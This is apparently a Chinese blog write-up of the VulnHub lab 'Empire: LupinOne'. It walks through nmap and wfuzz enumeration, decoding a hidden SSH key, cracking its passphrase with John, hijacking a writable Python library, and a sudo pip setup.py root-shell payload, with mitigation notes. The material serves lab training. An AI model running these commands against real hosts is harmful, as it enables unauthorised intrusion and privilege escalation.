当前位置: 首页 > news >正文

Empire: LupinOne靶场渗透

Empire: LupinOne

来自 <https://www.vulnhub.com/entry/empire-lupinone,750/#top>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.149

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.149

 

4,访问80端口开放的http服务

扫描枚举网站子目录

dirsearch -u http://192.168.23.149 -x 403,404  

http://192.168.23.149/robots.txt

http://192.168.23.149/~myfiles/

http://192.168.23.149/manual/en/index.html

5,在旧版 Apache 中,~username URL 会映射到该用户主目录下的公开网页目录。如果服务器开启了 mod_userdir 模块,攻击者可以通过枚举 ~username 的形式发现服务器上存在的用户及其公开目录。借助 wfuzz 这样的工具,可以高效地自动化测试不同的用户名,从而找到如 ~secret 这样的隐藏路径,进而获取潜在敏感信息或利用点

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.23.149/~FUZZ

http://192.168.23.149/~secret/

你好朋友,我很高兴你找到了我的秘密,我创建了这样的内容来与你分享我创建的 ssh 私钥文件,

它隐藏在这里的某个地方,这样黑客就不会找到它并使用快速通道破解我的密码。

我很聪明,我知道这一点。

有任何问题请告诉我

你最好的朋友 icex64

继续在该路径下模糊测试以搜索文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404,403 -u http://192.168.23.149/~secret/.FUZZ.txt

访问得到一个全是编码后的网页

http://192.168.23.149/~secret/.mysecret.txt

解码就能得到ssh私钥文件

Base58 编码的特征

1. 设计初衷

Base58 是 比特币 等加密货币体系里广泛使用的一种编码方式,主要用于:

  • 地址表示(避免用户输错)。
  • 替代 Base64,以去掉容易混淆的字符。

2. 字符集特征

Base58 的字符集由以下 58 个符号组成:

123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz

特点:

  • 去掉了 0(零)、O(大写字母 O)、I(大写字母 I)、l(小写字母 L),因为它们容易和其他字符混淆。
  • 没有 + / = 这类符号(Base64 常见)。
  • 全部由 大小写字母 + 数字 构成。

3. 长度特征

  • 编码后字符串通常 较长,但比 Base64 短(因为没有填充符 =)。
  • 没有固定的长度规则,但常见长度:
    • 比特币地址:通常 26–35 位。
    • IPFS CID、某些区块链交易哈希:可能更长。

4. 格式特征

  • 全字符串只会包含上述 58 个字符。
  • 不会出现 0, O, I, l, +, /, =。
  • 通常作为“可复制粘贴”的 ID 或地址出现,常见在钱包地址、交易哈希、邀请码中。
  • 在日志或数据包里看起来像一串“看似随机”的大小写字母+数字混合。

5. 检测方法

当你在分析日志或流量时,如果遇到可疑字符串,可以通过以下方式判断是否可能是 Base58:

  1. 检查是否只包含 Base58 字符集。
  2. 检查是否没有 0, O, I, l 等字符。
  3. 检查长度是否落在常见范围(比如 25–35 位时,很可能是加密货币地址)。
  4. 尝试解码,看是否得到合理的数据结构(如版本号+校验和)。

6. 典型应用场景

  • 比特币地址(最常见)。
  • IPFS CID(内容寻址标识符)。
  • 区块链中的交易 ID、私钥/公钥编码
  • 某些邀请码/序列号(为了用户友好)。

一句话总结

Base58 编码特征就是——由 58 个不易混淆的字母数字组成的字符串,不含 0/O/I/l/+/=/ 等符号,常见于加密货币地址、区块链标识和分布式系统 ID。

6,使用ssh2john生成一下密码本,然后再用john爆破一下,就可以得到密码了

使用 ssh2john.py转换私钥文件格式

  • John the Ripper 不能直接识别 OpenSSH 的私钥格式。
  • ssh2john.py 是一个转换工具(John 官方自带),可以把 SSH 私钥文件转化为 hash 格式,供 John 识别和破解。
  • 命令:
    /usr/share/john/ssh2john.py privatekey > passwd.txt
    • privatekey:解码后的私钥文件。
    • passwd.txt:输出文件,里面是 John 能识别的哈希。

使用 John 爆破密码

  • 如果私钥被设置了密码(passphrase),直接用来连接 SSH 会提示输入密码。
  • John the Ripper 可以通过字典攻击或暴力破解尝试恢复出这个密码。
  • 命令:
    john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt
    • --wordlist=...:指定字典文件。
    • passwd.txt:刚才生成的哈希文件。
  • John 会尝试字典中的每一个候选词,直到找到正确的私钥密码。

所以私钥密码就是P@55w0rd!

7,先给密钥文件赋予600权限,然后再ssh登录

chmod 600 privatekey

ssh icex64@192.168.23.149 -i privatekey

登录成功,然后再进行信息收集

再查看如何提权

发现一个能够以arsene用户权限执行的py文件

cat /home/arsene/heist.py

这个程序调用了webbrowser.open,我们可以尝试篡改这个所有人可读可写可执行的文件以实现提权

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

添加一条调用/bin/bash的程序

然后再sudo运行这个文件

sudo -u arsene python3.9 /home/arsene/heist.py

成功切换用户

 

横向移动的原理

这就是 横向移动(Lateral Movement) 的典型手法:

  • 起点:攻击者先控制低权限用户(icex64)。
  • 突破口:找到某个程序/配置,允许以另一个用户运行代码(sudo -u arsene)。
  • 漏洞点:该程序依赖了一个可篡改的库文件(webbrowser.py),而这个库文件权限过宽(777)。
  • 利用链
    • 修改库文件 → 注入恶意代码。
    • 执行目标程序 → 被迫加载恶意模块。
    • 获得新用户(arsene)的 shell。

本质是 劫持依赖(Dependency Hijacking):利用目标用户执行程序时会调用的依赖库,并篡改该库来执行任意代码。
安全启示

  • 系统关键库文件绝不能设为 777。
  • sudo 配置应避免直接运行依赖第三方库的脚本。
  • 监控 /usr/lib/python*/ 下文件的完整性(如用 AIDE、Tripwire)。

总结一句话

这个横向移动的原理就是——利用 低权限用户可写的系统库文件(webbrowser.py),劫持了 Python 依赖模块,当目标用户用 sudo -u arsene 执行程序时,恶意代码被加载,从而实现从 icex64 用户横向移动到 arsene 用户的提权。

8,然后再sudo -l看能否提权

搜索怎么通过pip提权

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

最后成功提权成为root用户

 

sudo pip 提权原理

1. 漏洞前提

  • 当前用户可以执行:
    sudo pip install ...
    (也就是允许用 root 权限运行 pip)。
  • pip 在安装包时,会执行 setup.py 里的 Python 代码。
  • 关键点:setup.py 不仅仅定义安装逻辑,还能执行任意 Python 代码。

2. 攻击步骤分析

(1) 创建临时目录

TF=$(mktemp -d)

  • mktemp -d 创建一个随机命名的临时目录(例如 /tmp/tmp.abcd1234),存放伪造的“包”。
  • TF 保存该目录路径。

(2) 编写恶意 setup.py

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

  • 在该目录中写入一个 setup.py 文件。
  • 内容:
    import os
    os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')
  • 作用:当 setup.py 被执行时,直接替换当前进程为一个交互式 shell。
  • sh <$(tty) >$(tty) 2>$(tty) 确保 shell 与当前终端连接,而不是静默运行。

(3) 以 root 权限运行 pip

sudo pip install $TF

  • pip install 时,会自动执行目标路径下的 setup.py。
  • 因为这里是用 sudo 运行的 → 进程以 root 身份运行。
  • 结果:攻击者得到一个 root shell。

3. 本质原理

  1. pip install 的实现机制:
    • 解析 setup.py
    • 执行其中的安装逻辑(实际就是执行 Python 代码)。
  2. 当你能用 sudo 运行 pip 时,就等于获得了一个能让你写的任意 Python 代码在 root 权限下运行的执行器。
  3. 所以,sudo pip 本质就是代码执行 → 提权

4. 防御措施

  • 禁止在 sudoers 中直接允许 pip
  • 使用 pip install --user,避免全局安装。
  • 如果必须用 root 安装,推荐使用 python -m venv 隔离环境。
  • 生产系统中可以通过 sudoers 白名单限制具体命令,而不是整个 pip。

总结一句话

sudo pip 提权的原理是 —— pip 在安装包时会执行 setup.py,而 setup.py 是任意 Python 代码。当 pip 以 root 身份运行时,攻击者就能通过自制的包执行任意代码,从而直接获得 root shell。

http://www.xdnf.cn/news/1419301.html

相关文章:

  • 音频数据集采样率选择建议
  • 【数据库】openGauss 6.0 单机自动化安装最佳实践
  • ‌NAT穿透技术原理:P2P通信中的打洞机制解析‌
  • Python核心技术开发指南(033)——函数的嵌套
  • 【LeetCode 热题 100】5. 最长回文子串——中心扩散法
  • 数组基础及原理
  • NoteGen – 跨平台 AI 笔记应用,支持截图、插图和文本输入记录方式
  • 从零开始学习n8n-定时器+HTTP+飞书多维表格(下)
  • 在 Halo 中导入 Markdown 和 Word 文档
  • Go语言入门学习笔记
  • React前端开发笔记合集
  • Go 语言 sync 包解析
  • 三消消乐益智小游戏抖音快手微信小程序看广告流量主开源
  • 前端安全防护深度实践:从XSS到CSRF的完整安全解决方案
  • 大模型落地:从微调到部署的全景式实战指南
  • DAY02:【DL 第一弹】pytorch
  • 宋红康 JVM 笔记 Day09|方法区
  • 【阿里云实战】基于MQTT的Java SDK收发消息-终端和终端消息收发
  • 汽车曲柄连杆机构cad+ea113+设计说明书
  • 深入理解Java虚拟机:JVM高级特性与最佳实践(第3版)第八章知识点问答(18题)
  • 从理论到RTL,实战实现高可靠ECC校验(附完整开源代码/脚本)(3) RTL实现实战
  • DBeaver社区版AI助手(AI Assistant)设置
  • 基于Hadoop与层次聚类技术的电子游戏销售分析系统的设计与实现
  • 机器翻译:python库PyGTranslator的详细使用
  • (论文速读)3DTopia-XL:高质量3D资产生成技术
  • FOUPK3云服务平台旗下产品
  • ARM-进阶汇编指令
  • linux安装gitlab详细教程,本地管理源代码
  • 存储掉电强制拉库引起ORA-01555和ORA-01189/ORA-01190故障处理---惜分飞
  • 英伟达Newton与OpenTwins如何重构具身智能“伴随式数采”范式